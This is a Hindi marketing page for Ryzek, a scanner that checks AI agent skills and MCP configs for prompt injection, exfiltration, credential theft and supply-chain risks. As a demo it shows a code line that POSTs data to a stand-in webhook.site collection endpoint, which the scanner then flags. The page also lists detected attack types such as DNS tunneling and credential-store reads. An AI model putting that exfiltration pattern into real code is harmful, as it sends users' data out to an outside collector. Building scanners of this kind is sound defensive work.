AI एजेंट के लिए सुरक्षा स्कैनिंग
जानें कि कोई स्किल क्या करती है, आपके एजेंट के इसे चलाने से पहले।
Ryzek स्किल्स, MCP सर्वर कॉन्फ़िग और टूल मैनिफ़ेस्ट पढ़ता है और प्रॉम्प्ट इंजेक्शन, छुपे निर्देश, क्रेडेंशियल चोरी, ज़रूरत से ज़्यादा व्यापक परमिशन, और आपकी मंज़ूरी के बाद बदले टूल को फ़्लैग करता है। हर निष्कर्ष के साथ एक कॉन्फ़िडेंस स्कोर और उसकी वजह आती है।
Free प्लान: हर नियम समेत प्रति माह 20 स्कैन। स्कैन की गई फ़ाइलें मेमोरी में पढ़ी जाती हैं और कभी स्टोर नहीं होतीं।
const ENDPOINT = "https://webhook.site/0000-demo"; await fetch(ENDPOINT, { method: "POST", body: JSON.stringify(notes),});Ryzek को 1 समस्या मिली
Contains a hardcoded request-collection endpoint. These services exist to capture arbitrary inbound requests and are not used by production software.
webhook.site
असली स्कैनर आउटपुट, जो यह पेज बनाते समय तैयार किया गया।
ट्रेलर
अस्सी सेकंड में Ryzek।
एजेंट्स को चुपचाप क्या सौंपा जा रहा है — और Ryzek आपको वह क्या दिखाता है, इससे पहले कि वे उसे चलाएँ।
यह कैसे काम करता है
अपलोड से लेकर ऐसे नतीजे तक जिस पर आप काम कर सकें।
कोई इंस्टॉलेशन नहीं। साइन इन करें, अपनी फ़ाइलें जोड़ें, पढ़ें कि Ryzek को क्या मिला और क्यों।
-
01 · साइन इन करें
मुफ़्त खाता बनाएँ
अपने पहले से मौजूद किसी खाते से साइन इन करें। आपका स्कैन कोटा और टूल इतिहास किसी भी डिवाइस पर आपके साथ रहता है।
-
02 · फ़ाइलें जोड़ें
जो आपका एजेंट लोड करता है उसे यहाँ डालें
स्किल फ़ोल्डर उनकी स्क्रिप्ट्स के साथ, MCP कॉन्फ़िग, टूल मैनिफ़ेस्ट,
package.jsonयाrequirements.txt। -
03 · पढ़ें
सिर्फ़ फ़्लैग नहीं, एक वजह पाएँ
हर निष्कर्ष उसकी गंभीरता, Ryzek कितना कॉन्फ़िडेंट है, क्यों, उसे ट्रिगर करने वाला ठीक-ठीक टेक्स्ट, और उसकी OWASP श्रेणी दिखाता है।
-
04 · दोबारा स्कैन करें
टूल बदलने पर पता लगाएँ
Ryzek हर टूल का फ़िंगरप्रिंट रखता है — फ़ाइल नहीं — ताकि बाद का कोई स्कैन आपको बता सके कि आपकी मंज़ूर की कोई चीज़ बदल गई है।
यह क्या पकड़ता है
पाँच तरह के जोखिम में 54 नियम।
हर नियम का नियम पेज पर एक लाइव डेमो है: फ़ाइल, महत्वपूर्ण हिस्सा, और स्कैनर असल में क्या रिपोर्ट करता है।
18 नियम · एजेंट सुरक्षा
AI को लक्ष्य करके लिखा गया टेक्स्ट
प्रॉम्प्ट इंजेक्शन, कमेंट या अदृश्य कैरेक्टर्स में छुपे निर्देश, जाली टूल नतीजे और मेमोरी पॉइज़निंग।
5 नियम · एक्सफ़िल्ट्रेशन
आपके डेटा के बाहर जाने के रास्ते
कलेक्शन एंडपॉइंट, DNS टनलिंग, इमेज बीकन और ऐसे टूल जो प्राइवेट रीड को पब्लिक राइट के साथ जोड़ते हैं।
7 नियम · क्रेडेंशियल
ग़लत जगह पर सीक्रेट्स
हार्ड-कोडेड keys, MCP कॉन्फ़िग में टोकन, क्रेडेंशियल स्टोर और शेल हिस्ट्री के रीड, और क्लाउड मेटाडेटा रिक्वेस्ट।
13 नियम · सप्लाई चेन
कोड कहाँ से आया
अनपिन्ड और नक़ली सर्वर, जानी-मानी कमज़ोरी वाले वर्शन, इंस्टॉल हुक्स, शैडो सर्वर और मंज़ूरी के बाद बदले टूल।
11 नियम · एक्ज़ेक्यूशन
काम की ज़रूरत से ज़्यादा शक्ति
ज़रूरत से ज़्यादा व्यापक परमिशन, ऑटो-अप्रूव्ड टूल, सैंडबॉक्स एस्केप, पर्सिस्टेंस और कमांड इंजेक्शन।
सभी नियम
हर डेमो देखें →
जोखिम के आधार पर फ़िल्टर करें, सीधी भाषा वाला वर्शन पढ़ें, और हर नियम का असली नतीजा देखें।
Ryzek क्यों
ऐसे निष्कर्ष जिन्हें आप जाँच सकते हैं, एक ऐसे स्कैनर से जो बताता है कि वह कहाँ रुकता है।
जो स्कैनर बार-बार झूठा अलार्म देता है उसे नज़रअंदाज़ कर दिया जाता है, और जो ज़्यादा दावे करता है उस पर ऐसे भरोसा किया जाने लगता है जब नहीं करना चाहिए। Ryzek दोनों से बचने के लिए बनाया गया है।
पढ़ें कि Ryzek क्या नहीं देख सकता — उस व्यवहार समेत जो सिर्फ़ सर्वर चलते समय दिखता है, और कंपाइल्ड प्रोग्राम के अंदर क्या है।
- हर निष्कर्ष पर बताई गई वजह। नियम कितना कॉन्फ़िडेंट है, और क्यों — ताकि कोई कमज़ोर संकेत पक्के हमले जैसा न लगे।
- बदलाव की पहचान। आपकी मंज़ूरी के बाद चुपचाप बदलने वाला कोई टूल आपके अगले स्कैन में फ़्लैग हो जाता है।
- आपकी फ़ाइलें रखी नहीं जातीं। अपलोड मेमोरी में स्कैन होकर हटा दिए जाते हैं। हम स्कैन गिनती और टूल फ़िंगरप्रिंट स्टोर करते हैं, कभी सामग्री नहीं।
- OWASP से मैप किया गया। हर नियम OWASP MCP Top 10 की किसी श्रेणी से मैप होता है।
- हर नियम, हर प्लान पर। पेड प्लान वॉल्यूम और ऑटोमेशन जोड़ेंगे, डिटेक्शन नहीं।
प्राइसिंग
मुफ़्त में शुरू करें। हर नियम शामिल।
Free प्लान पूरा नियम सेट चलाता है, सिर्फ़ वॉल्यूम पर सीमा के साथ। ज़्यादा सीमा वाले पेड प्लान जल्द खुल रहे हैं।
अभी उपलब्ध
Free — $0
प्रति माह 20 स्कैन, सभी 54 नियम, बदलाव की पहचान और डाउनलोड करने लायक़ रिपोर्ट।
जल्द खुल रहा है
Pro, Pro Plus और Teams
$16 प्रति माह से, हर महीने 300 से 1,500 स्कैन के साथ। देखें कि क्या शामिल है और खुलने पर बताए जाने का अनुरोध करें।
सवाल
आम सवाल।
क्या आप मेरी स्कैन की गई फ़ाइलें रखते हैं?
नहीं। फ़ाइलें HTTPS के ज़रिए स्कैनर को भेजी जाती हैं, मेमोरी में स्कैन होती हैं, और नतीजा वापस आने पर हटा दी जाती हैं। हम जो स्टोर करते हैं वह है आपने कितने स्कैन इस्तेमाल किए, और हर टूल का फ़िंगरप्रिंट — हैश और उसके परमिशन लेबल — ताकि बदलाव होने पर हम आपको बता सकें। पूरी जानकारी प्राइवेसी पॉलिसी में है।
मुझे खाते की ज़रूरत क्यों है?
ताकि आपका स्कैन कोटा और आपका टूल इतिहास जहाँ भी आप जाएँ, आपके साथ जाए। बदलाव की पहचान तभी काम करती है जब Ryzek को याद हो कि पिछली बार स्कैन करने पर कोई टूल कैसा दिखता था।
मैं कौन-सी फ़ाइलें स्कैन कर सकता हूँ?
स्किल फ़ोल्डर (एक SKILL.md साथ में उसके बगल की स्क्रिप्ट्स), MCP कॉन्फ़िग फ़ाइलें जैसे .mcp.json या claude_desktop_config.json, JSON टूल मैनिफ़ेस्ट, और इंस्टॉल हुक्स व कमज़ोर डिपेंडेंसी के लिए package.json या requirements.txt।
क्या साफ़ नतीजे का मतलब है कि स्किल सुरक्षित है?
नहीं — इसका मतलब है कि 54 में से कोई भी नियम मेल नहीं खाया। Ryzek फ़ाइलें पढ़ता है; उन्हें चलाता नहीं, इसलिए वह व्यवहार जो सिर्फ़ रनटाइम पर या किसी कंपाइल्ड प्रोग्राम के अंदर दिखता है, वह इसकी नज़र से बाहर है। एक साफ़ स्कैन एक अच्छा संकेत है, गारंटी नहीं।
क्या मैं इसे CI में चला सकता हूँ?
अभी नहीं। CI इंटीग्रेशन पेड प्लान के लिए योजनाबद्ध है। अगर यह आपके लिए मायने रखता है, तो हमें बताएँ — इससे हमें यह तय करने में मदद मिलती है कि पहले क्या आए।
अपने एजेंट की पहले से भरोसा की गई स्किल्स स्कैन करें।
साइन अप करने और अपनी पहली फ़ाइलें जोड़ने में बस एक मिनट लगता है।